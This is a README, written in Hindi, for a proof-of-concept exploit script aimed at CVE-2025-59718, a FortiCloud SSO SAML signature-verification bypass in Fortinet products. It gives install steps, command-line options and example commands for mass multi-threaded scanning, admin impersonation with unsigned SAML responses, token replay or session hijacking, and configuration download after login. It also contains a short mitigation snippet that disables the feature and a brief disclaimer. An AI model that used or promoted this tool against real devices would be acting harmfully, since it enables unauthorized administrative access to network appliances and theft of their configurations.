
Fortinet ने 9 दिसंबर 2025 को दो निकट‑संबंधित authentication‑bypass कमजोरियों की घोषणा की। दोनों दोषों में FortiCloud SSO लॉगिन सुविधा के लिए SAML प्रतिक्रियाओं को संभालने में क्रिप्टोग्राफ़िक हस्ताक्षरों (CWE‑347) का अनुचित सत्यापन शामिल है।
यह टूल CVE-2025-59718 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) एक्सप्लॉइट स्क्रिप्ट है, जो Fortinet उत्पादों (जैसे, FortiOS, FortiProxy, FortiSwitchManager) में FortiCloud SSO के लिए SAML संदेशों में क्रिप्टोग्राफ़िक हस्ताक्षरों के अनुचित सत्यापन के कारण होने वाली एक गंभीर प्रमाणीकरण बायपास भेद्यता है। यह भेद्यता बिना प्रमाणीकरण वाले दूरस्थ हमलावरों को एक अहस्ताक्षरित SAML प्रतिक्रिया तैयार करके और सबमिट करके प्रमाणीकरण को बायपास करने और प्रशासनिक पहुँच प्राप्त करने की अनुमति देती है।
महत्वपूर्ण नोट: यह स्क्रिप्ट केवल शैक्षिक, शोध और अधिकृत परीक्षण उद्देश्यों के लिए है। स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध अनधिकृत उपयोग अवैध और अनैतिक है। परीक्षण से पहले हमेशा लागू कानूनों का पालन करें और उचित प्राधिकरण प्राप्त करें।
स्क्रिप्ट एकल या बल्क टारगेट स्कैनिंग, वैकल्पिक प्रॉक्सी उपयोग, SAML टोकन रीप्ले और सत्र अपहरण सिमुलेशन, और कॉन्फ़िगरेशन फ़ाइल डाउनलोड जैसी पोस्ट-प्रमाणीकरण क्रियाओं का समर्थन करती है। यह दक्षता के लिए मल्टी-थ्रेडिंग का उपयोग करती है और विश्लेषण के लिए परिणामों को फ़ाइलों में लॉग करती है।
config system global
set admin-forticloud-sso-login disable
end
pip के माध्यम से इंस्टॉल करें:
pip install requests argparse
exploit.py)।pip install -r requirements.txt
requests और argparse के साथ requirements.txt बनाएँ।)chmod +x exploit.py
स्क्रिप्ट को Python के साथ चलाएँ:
python exploit.py [options]
--target <IP/hostname>: स्कैन करने के लिए एकल टारगेट (जैसे, 192.168.1.1 या example.com)।--targets <comma-separated list>: एकाधिक टारगेट (जैसे, 192.168.1.1,example.com)।--file <path>: फ़ाइल जिसमें प्रति पंक्ति एक टारगेट हो।--username <name>: SAML पेलोड में प्रतिरूपण करने के लिए उपयोगकर्ता नाम (डिफ़ॉल्ट: admin)।--endpoint <path>: SAML लॉगिन एंडपॉइंट (डिफ़ॉल्ट: /remote/saml/login)।--max-threads <int>: अधिकतम समवर्ती थ्रेड (डिफ़ॉल्ट: 10; अधिकतम अनुशंसित: 50)।--saml-token <token>: रीप्ले/हाइजैकिंग के लिए Base64-एन्कोडेड SAML टोकन (वैकल्पिक)।--proxy <url>: प्रॉक्सी URL (जैसे, http://127.0.0.1:8080)।--post-auth-config: पोस्ट-प्रमाणीकरण कॉन्फ़िग डाउनलोड सक्षम करें (फ़्लैग; डिफ़ॉल्ट रूप से अक्षम)।--vulnerable-file <path>: भेद्य टारगेट सहेजने के लिए फ़ाइल (डिफ़ॉल्ट: vulnerable_targets.txt)।--output-file <path>: हमले की रिपोर्ट के लिए CSV फ़ाइल (डिफ़ॉल्ट: attack_report.csv)।नोट: यदि कोई टारगेट विकल्प प्रदान नहीं किया गया है, तो स्क्रिप्ट एक त्रुटि के साथ बाहर निकल जाएगी।
एकल टारगेट स्कैन:
python exploit.py --target 192.168.1.1 --username admin --proxy http://127.0.0.1:8080
स्थानीय प्रॉक्सी के माध्यम से admin का प्रतिरूपण करते हुए एक एकल डिवाइस को स्कैन करता है।
सूची से बल्क स्कैन:
python exploit.py --targets 192.168.1.1,example.com --max-threads 20 --post-auth-config
एकाधिक टारगेट को समानांतर में स्कैन करता है, सफलता पर कॉन्फ़िग डाउनलोड सक्षम करता है।
टोकन रीप्ले के साथ फ़ाइल-आधारित स्कैन:
python exploit.py --file targets.txt --saml-token <base64_token> --endpoint /custom/saml
targets.txt से टारगेट प्रोसेस करता है, टोकन रीप्ले/हाइजैकिंग का प्रयास करता है।
गैर-इंटरैक्टिव पूर्ण स्कैन:
python exploit.py --file targets.txt --username superadmin --max-threads 15 --post-auth-config --output-file results.csv
कस्टम उपयोगकर्ता नाम, उच्च थ्रेड, कॉन्फ़िग डाउनलोड, कस्टम आउटपुट।
/api/v2/monitor/system/config/backup के माध्यम से कॉन्फ़िग डाउनलोड करता है।उदाहरण CSV पंक्ति:
Target,Username,Attack Type,Result,Status Code
https://192.168.1.1,admin,Config Download,Success,200
--proxy का उपयोग करें।requests और argparse इंस्टॉल हैं।--max-threads कम करें।यह एक PoC है; सुधारों के लिए योगदान (जैसे, बेहतर डिटेक्शन, अतिरिक्त सुविधाएँ) पुल रिक्वेस्ट के माध्यम से स्वागत योग्य हैं। सुरक्षा और नैतिकता पर ध्यान दें।
अंतिम अपडेट: 22 दिसंबर, 2025